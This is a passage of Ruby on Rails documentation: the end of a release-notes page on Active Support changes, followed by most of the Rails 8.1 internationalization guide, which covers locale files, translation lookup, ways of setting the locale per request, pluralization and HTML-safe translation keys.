* Removed deprecated `assert_present` and `assert_blank` methods, use `assert object.blank?` and `assert object.present?` instead.

* Remove deprecated `#filter` method for filter objects, use the corresponding method instead (e.g. `#before` for a before filter).

* Removed 'cow' => 'kine' irregular inflection from default inflections. ([Commit](https://github.com/rails/rails/commit/c300dca9963bda78b8f358dbcb59cabcdc5e1dc9))

### [8.2. Deprecations](#deprecations)

* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to explicitly convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago` ([Pull Request](https://github.com/rails/rails/pull/12389))

* Deprecated the require path `active_support/core_ext/object/to_json`. Require `active_support/core_ext/object/json` instead. ([Pull Request](https://github.com/rails/rails/pull/12203))

* Deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. This feature has been extracted into the [activesupport-json\_encoder](https://github.com/rails/activesupport-json_encoder) gem. ([Pull Request](https://github.com/rails/rails/pull/12785) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))

* Deprecated `ActiveSupport.encode_big_decimal_as_string` option. This feature has been extracted into the [activesupport-json\_encoder](https://github.com/rails/activesupport-json_encoder) gem. ([Pull Request](https://github.com/rails/rails/pull/13060) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))

* Deprecate custom `BigDecimal` serialization. ([Pull Request](https://github.com/rails/rails/pull/13911))

### [8.3. Notable changes](#active-support-notable-changes)

* `ActiveSupport`'s JSON encoder has been rewritten to take advantage of the JSON gem rather than doing custom encoding in pure-Ruby. ([Pull Request](https://github.com/rails/rails/pull/12183) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))

* Improved compatibility with the JSON gem. ([Pull Request](https://github.com/rails/rails/pull/12862) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))

* Added `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These methods change current time to the given time or duration by stubbing `Time.now` and `Date.today`.

* Added `ActiveSupport::Testing::TimeHelpers#travel_back`. This method returns the current time to the original state, by removing the stubs added by `travel` and `travel_to`. ([Pull Request](https://github.com/rails/rails/pull/13884))

* Added `Numeric#in_milliseconds`, like `1.hour.in_milliseconds`, so we can feed them to JavaScript functions like `getTime()`. ([Commit](https://github.com/rails/rails/commit/423249504a2b468d7a273cbe6accf4f21cb0e643))

* Added `Date#middle_of_day`, `DateTime#middle_of_day` and `Time#middle_of_day` methods. Also added `midday`, `noon`, `at_midday`, `at_noon` and `at_middle_of_day` as aliases. ([Pull Request](https://github.com/rails/rails/pull/10879))

* Added `Date#all_week/month/quarter/year` for generating date ranges. ([Pull Request](https://github.com/rails/rails/pull/9685))

* Added `Time.zone.yesterday` and `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822))

* Added `String#remove(pattern)` as a short-hand for the common pattern of `String#gsub(pattern,'')`. ([Commit](https://github.com/rails/rails/commit/5da23a3f921f0a4a3139495d2779ab0d3bd4cb5f))

* Added `Hash#compact` and `Hash#compact!` for removing items with nil value from hash. ([Pull Request](https://github.com/rails/rails/pull/13632))

* `blank?` and `present?` commit to return singletons. ([Commit](https://github.com/rails/rails/commit/126dc47665c65cd129967cbd8a5926dddd0aa514))

* Default the new `I18n.enforce_available_locales` config to `true`, meaning `I18n` will make sure that all locales passed to it must be declared in the `available_locales` list. ([Pull Request](https://github.com/rails/rails/pull/13341))

* Introduce `Module#concerning`: a natural, low-ceremony way to separate responsibilities within a class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81))

* Added `Object#presence_in` to simplify adding values to a permitted list. ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396))

## [9. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/i18n.html
----

***

## [1. Internationalization and Localization](#internationalization-and-localization)

Internationalization (I18n) is the process of preparing your application to support multiple languages and regional formats. In practice, this usually means abstracting strings and other locale-specific elements, such as date or currency formats, out of your application.

Localization (L10n) is the process of providing translations and locale-specific formats for those abstracted pieces.

To internationalize a Rails application, you typically need to:

* ensure your application is configured for internationalization (I18n)
* tell Rails where to find translation files
* set, preserve, and switch the locale for each request

To localize your application, you typically need to:

* provide translations for application text
* add or customize locale-specific formats, such as dates, times, and currencies
* organize and maintain translation data

## [2. How I18n in Ruby on Rails Works](#how-i18n-in-ruby-on-rails-works)

Rails ships with the Ruby [i18n gem](https://github.com/ruby-i18n/i18n), which provides the underlying internationalization framework. In this guide, the I18n API refers to the interface your Rails application uses to work with that framework, such as `I18n.t`, `I18n.l`, and Rails translation helpers. As part of this system, static strings in Rails itself, such as Active Record validation messages and time and date formats, are already internationalized.

Rails includes core I18n functionality by default. Additional gems, such as [rails-i18n](https://github.com/svenfuchs/rails-i18n), can provide extra locale data and other extensions, but they are not required for basic I18n support.

The I18n API is primarily intended for translating user-facing text within the application. Translating model content itself (for example, blog posts stored in the database) requires a separate approach.

The Ruby I18n gem is split into two parts:

* The public API of the I18n framework - a Ruby module with public methods that define how the library works.
* A default backend (named [*Simple*](https://github.com/ruby-i18n/i18n/blob/master/lib/i18n/backend/simple.rb) backend) that implements these methods.

As a user you should only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.

It is possible to swap the shipped `Simple` backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using alternate backends](#using-alternate-backends) below.

The most important methods of the I18n API are:

* `translate`, which looks up translations for a given key and locale. It is aliased as `t`, so you can use `I18n.t("store.title")`. Additionally, this helper catches missing translations and wraps the resulting error message in a `<span class="translation_missing">`.
* `localize`, which localizes `Date` and `Time` objects to local formats. It is aliased as `l`, so you can use `I18n.l(Time.now)`.

The I18n module also exposes configuration through attribute readers and writers:

```
I18n.load_path << Rails.root.join("config", "locales", "es.yml")
I18n.locale = :es
I18n.default_locale = :en
I18n.available_locales = [:en, :es]
I18n.enforce_available_locales = true
I18n.exception_handler = MyExceptionHandler.new
I18n.backend = I18n::Backend::Simple.new
```

## [3. Internationalizing an Application](#internationalizing-an-application)

In this section, we'll internationalize a basic Rails application.

### [3.1. Creating Locale Dictionaries](#creating-locale-dictionaries)

Rails applications contain a `config/locales` directory with a `en.yml` locale file by default. This file is a YAML dictionary that contains translations for the English locale.

The default `en.yml` locale in this directory contains a sample translation:

```
en:
  hello: "Hello world"
```

Looking up the translation for `hello` in the `:en` locale returns `"Hello world"`:

```
I18n.t("hello")
# => "Hello world"
```

The I18n library uses English as the default locale, so when a locale is not explicitly set, `:en` will be used for looking up translations. To learn how to change the current locale, see [Managing the Locale across Requests](#managing-the-locale-across-requests).

Many international applications use only the "language" element of a locale such as `:cs`, `:th`, or `:es` (for Czech, Thai, and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:"en-US"` locale you would have $ as a currency symbol, while in `:"en-GB"`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:"en-GB"` dictionary.

### [3.2. Organization of Locale Files](#organization-of-locale-files)

When using the default `Simple` backend shipped with the i18n library, dictionaries are stored in plain-text files on disk. Putting translations for all parts of your application in one file per locale can become hard to manage, so it often helps to organize locale files in a hierarchy.

The hierarchy shown below is only an example. Choose a structure that makes sense for your application, and split files further when a single locale file becomes too large or hard to navigate.

For example, your `config/locales` directory could look like this:

```
|-defaults
|---es.yml
|---en.yml
|-models
|---book
|-----es.yml
|-----en.yml
|-views
|---defaults
|-----es.yml
|-----en.yml
|---books
|-----es.yml
|-----en.yml
|---users
|-----es.yml
|-----en.yml
|---navigation
|-----es.yml
|-----en.yml
```

This way, the model and model attribute names, text inside views, and global defaults such as date and time formats are all kept separate. Other stores for the i18n library could provide different means of separation.

### [3.3. Using Translations in Views and Controllers](#using-translations-in-views-and-controllers)

Given the following example, we have a `HomeController` with an `index` action that sets a flash message and renders the `app/views/home/index.html.erb` template:

```
# config/routes.rb
Rails.application.routes.draw do
  root to: "home#index"
end
```

```
# app/controllers/home_controller.rb
class HomeController < ApplicationController
  def index
    flash[:notice] = "Hello Flash"
  end
end
```

```
<!-- app/views/home/index.html.erb -->
<h1>Hello World</h1>
<p><%= flash[:notice] %></p>
```

To internationalize this code, replace the strings with calls to Rails' `#t` helper using translation keys. The heading is translated in the view, while the flash message is translated where it is set in the controller:

```
# app/controllers/home_controller.rb
class HomeController < ApplicationController
  def index
    flash[:notice] = t("home_flash")
  end
end
```

```
<!-- app/views/home/index.html.erb -->
<h1><%= t("home_title") %></h1>
<p><%= flash[:notice] %></p>
```

Now, when this view is rendered, it will show an error message indicating that the translations for the keys `"home_title"` and `"home_flash"` are missing.

```
<h1>
  <span class="translation_missing" title="translation missing: en.home_title">
    Home Title
  </span>
</h1>
<p>Translation missing: en.home_flash</p>
```

Now add the translations to your locale files:

```
# config/locales/en.yml
en:
  home_title: Hello world!
  home_flash: Hello flash!
```

```
# config/locales/es.yml
es:
  home_title: ¡Hola mundo!
  home_flash: ¡Hola flash!
```

With the default locale, the page renders the English strings.

```
Hello world!
Hello flash!
```

If the default locale is set to the Spanish locale:

```
# config/application.rb
config.i18n.default_locale = :es
```

the response renders the Spanish strings:

```
¡Hola mundo!
¡Hola flash!
```

You need to restart the server when you add new locale files.

### [3.4. Passing Variables to Translations](#passing-variables-to-translations)

One key consideration for successfully internationalizing an application is to avoid making incorrect assumptions about grammar rules when abstracting localized code. Grammar rules that seem fundamental in one locale may not hold true in another.

Improper abstraction is shown in the following example, where assumptions are made about the ordering of the different parts of the translation.

```
<!-- app/views/products/show.html.erb -->
<%= "#{t('currency')}#{@product.price}" %>
```

```
# config/locales/nl.yml
nl:
  currency: "€ "
```

```
# config/locales/es.yml
es:
  currency: "€ "
```

If the product’s price is 100, Dutch might want `"€ 100"` while Spanish might want `"100 €"`, but this abstraction produces `"€ 100"` for both locales.

To create proper abstraction, the I18n gem ships with a feature called variable interpolation that allows you to use variables in translation definitions and pass the values for these variables to the translation method.

Proper abstraction is shown in the following example:

```
<!-- app/views/products/show.html.erb -->
<%= t('product_price', price: @product.price) %>
```

```
# config/locales/nl.yml
nl:
  product_price: "€ %{price}"
```

```
# config/locales/es.yml
es:
  product_price: "%{price} €"
```

All grammatical and punctuation decisions are made in the definition itself, so the abstraction can give a proper translation.

```
I18n.t("product_price", price: 100, locale: :nl)
# => "€ 100"

I18n.t("product_price", price: 100, locale: :es)
# => "100 €"
```

Rails provides helpers such as [`number_to_currency`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_currency) for localizing numbers and currency values.

The `default` and `scope` keywords are reserved and can't be used as variable names. If used, an `I18n::ReservedInterpolationKey` exception is raised. If a translation expects an interpolation variable, but this has not been passed to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised.

### [3.5. Adding Date/Time Formats](#adding-date-time-formats)

To localize the time format, you can pass the `Time` object to `I18n.l` or, preferably, use Rails' `#l` helper. You can pick a format by passing the `:format` option.

```
<!-- app/views/home/index.html.erb -->
<h1><%= t("home_title") %></h1>
<p><%= flash[:notice] %></p>
<p><%= l(Time.now, format: :short) %></p>
```

For example, you can define a custom short time format in a locale file:

```
# config/locales/es.yml
es:
  time:
    formats:
      short: "%H:%M"
```

Then `l(Time.current, format: :short, locale: :es)` uses that format for the Spanish locale.

Rails also provides [`relative_time_in_words`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-relative_time_in_words) for a localized past/future phrase rather than a formatted timestamp:

```
<p><%= relative_time_in_words(3.minutes.from_now) %></p>
<p><%= relative_time_in_words(15.seconds.ago, include_seconds: true) %></p>
```

This renders phrases such as:

```
in 3 minutes
less than 20 seconds ago
```

By default, this looks up translations in the `datetime.relative` scope and combines them with the same localized distance strings used by [`distance_of_time_in_words`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words).

You may need to add additional date and time formats for the I18n backend to behave as expected. However, translations for Rails’ default formats are often already available for many locales. See the [rails-i18n repository](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. Placing these files in `config/locales/` makes them automatically available to your application.

### [3.6. Localized Views](#localized-views)

In some cases, translating individual strings is not the best fit. If an entire template differs by locale, Rails can render a localized view instead.

For example, consider a `BooksController` with an index action that renders the `app/views/books/index.html.erb` template. If a localized variant of this template, `index.es.html.erb`, is added to the same directory, Rails will render that template when the locale is set to :es. When the locale is set to the default locale, the generic `index.html.erb` template will be used.

```
<!-- app/views/books/index.html.erb -->
<h1>Books</h1>
```

```
<!-- app/views/books/index.es.html.erb -->
<h1>Libros</h1>
```

You can make use of this feature when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you make to the template must be propagated to all localized variants.

### [3.7. Inflection Rules for Other Locales](#inflection-rules-for-other-locales)

Rails allows you to define inflection rules such as singularization and pluralization for locales other than English. These rules can be defined for multiple locales in `config/initializers/inflections.rb`. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.

Rails already includes default English inflection rules, like the pluralization of "person" to "people":

```
"person".pluralize
# => "people"
```

You can add custom pluralization rules for Portuguese, like below:

```
# config/initializers/inflections.rb
ActiveSupport::Inflector.inflections(:pt_br) do |inflect|
  inflect.irregular "aluguel", "aluguéis"
end
```

Then inflector-based helpers can use those rules for that locale:

```
"aluguel".pluralize(:pt_br)
# => "aluguéis"
```

When regional locales are used together with [`I18n.fallbacks`](configuring.html#config-i18n-fallbacks), inflection rules can also come from a fallback locale. For example, `en-GB` can reuse `:en` inflections when that fallback is mapped explicitly.

```
config.i18n.fallbacks = { "en-GB": :en }
```

## [4. Managing the Locale across Requests](#managing-the-locale-across-requests)

To support multiple locales, applications should set the locale at the beginning of each request and ensure it stays consistent for the duration of that request.

The default locale is used for all translations unless `I18n.locale=` or `I18n.with_locale` is used. In a controller, the safest way to do this is with `I18n.with_locale`, typically in an `around_action`, so the locale is applied only for that request.

`I18n.locale` can leak into subsequent requests served by the same thread/process if it is not consistently set in every controller. For example, executing `I18n.locale = :es` in one POST request will have effects for all later requests to controllers that don't set the locale, but only in that particular thread/process. For that reason, instead of `I18n.locale =` you can use `I18n.with_locale` which does not have this leak issue.

The locale can be set using one of many different approaches, depending on where your application stores or derives that information.

### [4.1. Setting the Locale from a Request Parameter](#setting-the-locale-from-a-request-parameter)

A commonly used technique to set the locale is to include it in request parameters.

For example, you can set the locale in a concern that is included in `ApplicationController`:

```
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
  include Locale
end
```

```
# app/controllers/concerns/locale.rb
module Locale
  extend ActiveSupport::Concern

  included do
    around_action :switch_locale
  end

  def switch_locale(&action)
    locale = params[:locale] || I18n.default_locale
    I18n.with_locale(locale, &action)
  end
end
```

This example uses a URL query parameter to set the locale, such as `http://example.com/books?locale=pt`. With this approach, `http://localhost:3000?locale=pt` renders the Portuguese localization, while `http://localhost:3000?locale=de` loads a German localization.

### [4.2. Setting the Locale from URL Params](#setting-the-locale-from-url-params)

The [previous section](#setting-the-locale-from-a-request-parameter) showed how to read the locale from `params[:locale]`. In practice, that is only half of the solution. If the locale comes from the URL, your application also needs to include it in generated URLs so the choice is preserved from one request to the next.

For example, you may want URLs such as `www.example.com/books?locale=ja` or `www.example.com/ja/books`.

This approach has many of the same advantages as using a parameter for the locale:

* the locale is visible in the URL
* the URL can be shared
* search engines can distinguish between language-specific pages

It does require a little more setup, though.

#### [4.2.1. Preserving the Locale in Query Parameters](#preserving-the-locale-in-query-parameters)

With this approach, we need to ensure that every generated link continues to include the locale. Adding `locale: I18n.locale` manually to every call to `link_to` or every route helper would be tedious and easy to miss.

Rails provides a central place for this through `default_url_options`. By defining it, you can tell [`url_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and the route helpers built on top of it to automatically include the current locale.

For example, you can add this to your `ApplicationController`:

```
# app/controllers/application_controller.rb
def default_url_options
  { locale: I18n.locale }
end
```

Every helper method that uses `url_for` (for example, named route helpers such as `root_path` and `root_url`, or resource route helpers such as `books_path` and `books_url`) will now automatically include the locale in the query string, such as `http://localhost:3001/?locale=ja`.

You may find this sufficient. However, query parameters can make URLs less readable, and the locale is often conceptually higher-level than the rest of the path. In many applications, it makes more sense for the locale to appear in the path itself.

#### [4.2.2. Using a Locale Scope in the Path](#using-a-locale-scope-in-the-path)

You may prefer URLs like `http://www.example.com/en/books` for English and `http://www.example.com/nl/books` for Dutch. You can do this with the same `default_url_options` approach, combined with a [`scope`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Routing/Mapper/Scoping.html) in your routes:

```
# config/routes.rb
scope "/:locale" do
  resources :books
end
```

Now `books_path` will return `"/en/books"` when the current locale is English. Visiting `http://localhost:3001/nl/books` should set the locale to Dutch, and subsequent calls to `books_path` during that request will return `"/nl/books"`.

Since the return value of `default_url_options` is cached per request, the URLs in a locale selector cannot be generated invoking helpers in a loop that sets the corresponding `I18n.locale` in each iteration. Instead, leave `I18n.locale` untouched, and pass an explicit `:locale` option to the helper, or edit `request.original_fullpath`.

If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses):

```
# config/routes.rb
scope "(:locale)", locale: /en|nl/ do
  resources :books
end
```

With this approach you will not get a `Routing Error` when accessing resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified.

You need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "dashboard#index"` declaration in your `routes.rb` doesn't take locale into account.

You would need to map URLs like these:

```
# config/routes.rb
get "/:locale" => "dashboard#index"
```

Be mindful of the order of your routes so that route declarations do not unintentionally match other routes.

For applications with more complex path-based locale requirements, locale extraction can be handled at the Rack middleware layer before the request reaches Rails routing. This keeps locale handling separate from the routing layer and is typically only needed when rewriting request paths or mounting the application under a locale-specific prefix.

### [4.3. Setting the Locale from the Domain Name](#setting-the-locale-from-the-domain-name)

You can also set the locale from the domain or subdomain where your application runs.

In order to set the locale from the domain name, you need to have a separate domain for each locale. For example, `www.example.com` can load the English (or the default) locale, and `www.example.es` the Spanish locale. Setting the locale from the domain name has several advantages:

* The locale is an obvious part of the URL.
* People intuitively grasp in which language the content will be displayed.
* Search engines like that content in different languages lives at different, inter-linked domains.

You can implement it like this in your `ApplicationController`:

```
# app/controllers/concerns/locale.rb
around_action :switch_locale

def switch_locale(&action)
  locale = extract_locale_from_domain || I18n.default_locale
  I18n.with_locale(locale, &action)
end

# Get locale from top-level domain or return +nil+ if such locale is not available.
# You can add the following in your /etc/hosts file to try this out locally:
#   127.0.0.1 application.com
#   127.0.0.1 application.it
#   127.0.0.1 application.pl
def extract_locale_from_domain
  parsed_locale = request.host.split(".").last
  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end
```

You can also set the locale from the subdomain in a very similar way. This is often easier to configure and operate than a separate top-level domain for each locale.

```
# Get locale code from request subdomain (like http://it.application.local:3000)
# You can add the following in your /etc/hosts file to try this out locally:
#   127.0.0.1 it.application.local
#
# Additionally, you need to add the following configuration to your config/environments/development.rb:
#   config.hosts << 'it.application.local:3000'
def extract_locale_from_subdomain
  parsed_locale = request.subdomains.first
  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end
```

If your application includes a locale switching menu, you would then have something like this in it:

```
link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}")
```

assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`.

This solution has the advantages mentioned above, however, you may not be able to or may not want to provide different localizations ("language versions") on different domains. In those cases, you can include the locale in the query parameters or request path, as shown above.

Controller-based locale extraction works well for simple applications. For production applications that derive the locale from host or path information, Rack middleware can extract the locale before routing and store it in the Rack environment. See [Rails on Rack](rails_on_rack.html) for more about Rack middleware in Rails applications.

### [4.4. Setting the Locale from User Preferences](#setting-the-locale-from-user-preferences)

An application with authenticated users may allow users to set a locale preference through the application's interface. With this approach, a user's selected locale is persisted in the database and used to set the locale for authenticated requests by that user.

When using a stored preference, ensure that the value is included in `I18n.available_locales` before applying it.

```
# app/controllers/concerns/locale.rb
around_action :switch_locale

def switch_locale(&action)
  locale = Current.user&.locale
  locale = I18n.default_locale unless I18n.available_locales.map(&:to_s).include?(locale)

  I18n.with_locale(locale, &action)
end
```

If your application also allows the locale to be set from the URL or another request-based source, decide which value takes precedence. In many applications, an explicit locale in the URL should override the user's stored preference.

### [4.5. Choosing an Implied Locale](#choosing-an-implied-locale)

When a request does not explicitly specify a locale, an application may try to infer one. This is best treated as a fallback: an explicit locale from the URL, domain, or user preference should usually take precedence.

#### [4.5.1. Inferring Locale from the Language Header](#inferring-locale-from-the-language-header)

The `Accept-Language` HTTP header indicates the languages the client prefers for the response. Browsers typically [set this header based on the user's language preferences](https://www.w3.org/International/questions/qa-lang-priorities), so it is often the best first choice when inferring a locale.

A simple implementation might look like this:

```
# app/controllers/concerns/locale.rb
def switch_locale(&action)
  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
  locale = extract_locale_from_accept_language_header || I18n.default_locale
  logger.debug "* Locale set to '#{locale}'"
  I18n.with_locale(locale, &action)
end

private
def extract_locale_from_accept_language_header
  request.env["HTTP_ACCEPT_LANGUAGE"]&.scan(/^[a-z]{2}/)&.first
end
```

This example is intentionally simple. In practice, more robust parsing is usually necessary because the header can contain multiple languages, region subtags such as `en-GB`, and quality values that indicate preference order.

Libraries such as [accept\_language](https://github.com/cyril/accept_language.rb) or [the locale Rack middleware](https://github.com/rack/rack-contrib/blob/main/lib/rack/contrib/locale.rb) can help implement this more reliably.

### [4.6. Inferring the Locale from IP Geolocation](#inferring-the-locale-from-ip-geolocation)

The IP address of the client making the request can be used to infer the client's region and, in some cases, suggest a locale. Services such as [GeoLite2 Country](https://dev.maxmind.com/geoip/geolite2-free-geolocation-data) or gems like [geocoder](https://github.com/alexreisner/geocoder) can be used to implement this approach.

In practice, this is a less reliable signal than using the `Accept-Language` header. A user's network location does not necessarily match their preferred language, and IP-based lookups may be affected by VPNs, mobile carriers, proxies, or corporate networks.

### [4.7. Storing the Locale from the Session or Cookies](#storing-the-locale-from-the-session-or-cookies)

Sessions or cookies can be useful for remembering a user's previous locale choice, especially when no explicit locale is present in the URL or another request-based source. In many applications, they are best treated as a fallback rather than the canonical source of the locale.

The locale is often best kept transparent and reflected in the URL, so that a shared link shows the same content and language to everyone who opens it. This also aligns with common RESTful expectations.

## [5. Overview of the I18n API Features](#overview-of-the-i18n-api-features)

The following sections cover the I18n API in more depth, using examples with both `I18n.translate` and the [`translate` view helper method](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate).

### [5.1. Looking up Translations](#looking-up-translations)

#### [5.1.1. Basic Lookup, Scopes, and Nested Keys](#basic-lookup-scopes-and-nested-keys)

Translations are looked up by keys. String keys are a good default because they work naturally with keys such as `"books.index.title"`:

```
I18n.t "books.index.title"
```

The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:

```
I18n.t "record_invalid", scope: "activerecord.errors.messages"
# => "Validation failed: Name can't be blank"
```

This looks up the `"record_invalid"` message in the Active Record error messages.

Additionally, both the key and scopes can be specified as dot-separated keys as in:

```
I18n.translate "activerecord.errors.messages.record_invalid"
# => "Validation failed: Name can't be blank"
```

Thus the following calls are equivalent:

```
I18n.t "activerecord.errors.messages.record_invalid"
# => "Validation failed: Name can't be blank"
I18n.t "errors.messages.record_invalid", scope: "activerecord"
# => "Validation failed: Name can't be blank"
I18n.t "record_invalid", scope: "activerecord.errors.messages"
# => "Validation failed: Name can't be blank"
I18n.t "record_invalid", scope: ["activerecord", "errors", "messages"]
# => "Validation failed: Name can't be blank"
```

#### [5.1.2. Defaults](#defaults)

When a `:default` option is given, its value will be returned if the translation is missing:

```
I18n.t "missing", default: "Not here"
# => 'Not here'
```

If the `:default` value is a string key, it will be used as a key and translated.

One can also provide multiple values as default. The first one that results in a value will be returned. The example below first tries to translate the key `"missing"` and then the key `"also_missing"`. Since both do not yield a result, the string "Not here" will be returned:

```
I18n.t "missing", default: ["also_missing", "Not here"]
# => 'Not here'
```

#### [5.1.3. Bulk and Namespace Lookup](#bulk-and-namespace-lookup)

To look up multiple translations at once, an array of keys can be passed:

```
I18n.t ["odd", "even"], scope: "errors.messages"
# => ["must be odd", "must be even"]
```

Also, a key can translate to a (potentially nested) hash of grouped translations. For example, one can receive all Active Record error messages as a Hash:

```
I18n.t "errors.messages"
# => {:inclusion=>"is not included in the list", :exclusion=> ... }
```

If you want to perform interpolation on a bulk hash of translations, you need to pass `deep_interpolation: true` as a parameter. When you have the following dictionary:

```
en:
  welcome:
    title: "Welcome!"
    content: "Welcome to the %{app_name}"
```

then the nested interpolation will be ignored without the setting:

```
I18n.t "welcome", app_name: "book store"
# => {:title=>"Welcome!", :content=>"Welcome to the %{app_name}"}

I18n.t "welcome", deep_interpolation: true, app_name: "book store"
# => {:title=>"Welcome!", :content=>"Welcome to the book store"}
```

#### [5.1.4. "Lazy" Lookup](#lazy-lookup)

Rails implements a convenient way to look up the locale inside views. When you have the following dictionary:

```
es:
  books:
    index:
      title: "Título"
```

you can look up the `books.index.title` value inside `app/views/books/index.html.erb` template like this (note the dot):

```
<%= t ".title" %>
```

Automatic translation scoping by partial is only available from the `translate` view helper method.

"Lazy" lookup can also be used in controllers:

```
en:
  books:
    create:
      success: Book created!
```

This is useful for setting flash messages:

```
class BooksController < ApplicationController
  def create
    # ...
    redirect_to books_url, notice: t(".success")
  end
end
```

### [5.2. Pluralization](#pluralization)

In many languages, including English, there are only two forms, a singular and a plural, for a given string, e.g. "1 message" and "2 messages".

Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja), [Russian](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://cldr.unicode.org/index/cldr-spec/plural-rules). Thus, the I18n API provides a flexible pluralization feature.

The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the rules defined in the pluralization backend. By default, only the English pluralization rules are applied.

```
I18n.backend.store_translations :en, inbox: {
  zero: "no messages", # optional
  one: "one message",
  other: "%{count} messages"
}
I18n.translate "inbox", count: 2
# => '2 messages'

I18n.translate "inbox", count: 1
# => 'one message'

I18n.translate "inbox", count: 0
# => 'no messages'
```

The algorithm for pluralizations in `:en` is:

```
lookup_key = :zero if count == 0 && entry.has_key?(:zero)
lookup_key ||= count == 1 ? :one : :other
entry[lookup_key]
```

The translation denoted as `:one` is regarded as singular, and the `:other` is used as plural. If the count is zero, and a `:zero` entry is present, then it will be used instead of `:other`.

If the lookup for the key does not return a Hash suitable for pluralization, an `I18n::InvalidPluralizationData` exception is raised.

#### [5.2.1. Locale-specific Rules](#locale-specific-rules)

The I18n gem provides a `Pluralization` backend that can be used to enable locale-specific rules. Include it to the `Simple` backend, then add the localized pluralization algorithms to translation store, as `i18n.plural.rule`.

```
I18n::Backend::Simple.include(I18n::Backend::Pluralization)
I18n.backend.store_translations :pt, i18n: {
  plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } }
}
I18n.backend.store_translations :pt, apples: {
  one: "one or none",
  other: "more than one"
}

I18n.t "apples", count: 0, locale: :pt
# => 'one or none'
```

Alternatively, the separate gem [rails-i18n](https://github.com/svenfuchs/rails-i18n) can be used to provide a fuller set of locale-specific pluralization rules.

### [5.3. Setting and Passing a Locale](#setting-and-passing-a-locale)

The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` in the same way as, for example, `Time.zone`) or can be passed as an option to `#translate` and `#localize`.

The i18n gem stores `I18n.locale` using `Thread.current`. Applications serving multiple requests from the same thread should set the locale explicitly around each request, for example with `I18n.with_locale`.

If no locale is passed, `I18n.locale` is used:

```
I18n.locale = :de
I18n.t "foo"    # Looks up de.foo
I18n.l Time.now # Looks up de.time.formats.default
```

Explicitly passing a locale:

```
I18n.t "foo", locale: :br    # Looks up br.foo
I18n.l Time.now, locale: :es # Looks up es.time.formats.default
```

The `I18n.locale` defaults to `I18n.default_locale` which defaults to `:en`. The default locale can be set like this:

```
I18n.default_locale = :de
```

### [5.4. Using Safe HTML Translations](#using-safe-html-translations)

Keys with a '\_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.

```
# config/locales/en.yml
en:
  welcome: <b>welcome!</b>
  hello_html: <b>hello!</b>
  title:
    html: <b>title!</b>
```

```
<!-- app/views/home/index.html.erb -->
<%= t('welcome') %>
<%= raw t('welcome') %>
<%= t('hello_html') %>
<%= t('title.html') %>
```

This renders:

```
&lt;b&gt;welcome!&lt;/b&gt;
<b>welcome!</b>
<b>hello!</b>
<b>title!</b>
```

Interpolation escapes as needed though. For example, given:

```
en:
  welcome_html: "<b>Welcome %{username}!</b>"
```

you can safely pass the username as set by the user:

```
<%# This is safe, it is going to be escaped if needed. %>
<%= t('welcome_html', username: @current_user.username) %>
```

Safe strings on the other hand are interpolated verbatim.

Automatic conversion to HTML safe translate text is only available from the `translate` (or `t`) helper method. This works in views and controllers.

## [6. Built-in Rails Translations](#built-in-rails-translations)

Rails uses I18n in several framework features beyond direct calls to `I18n.t`. These sections cover the translation conventions used by Active Record, Action Mailer, form helpers, and other Rails helpers.

### [6.1. Active Record Models](#active-record-models)

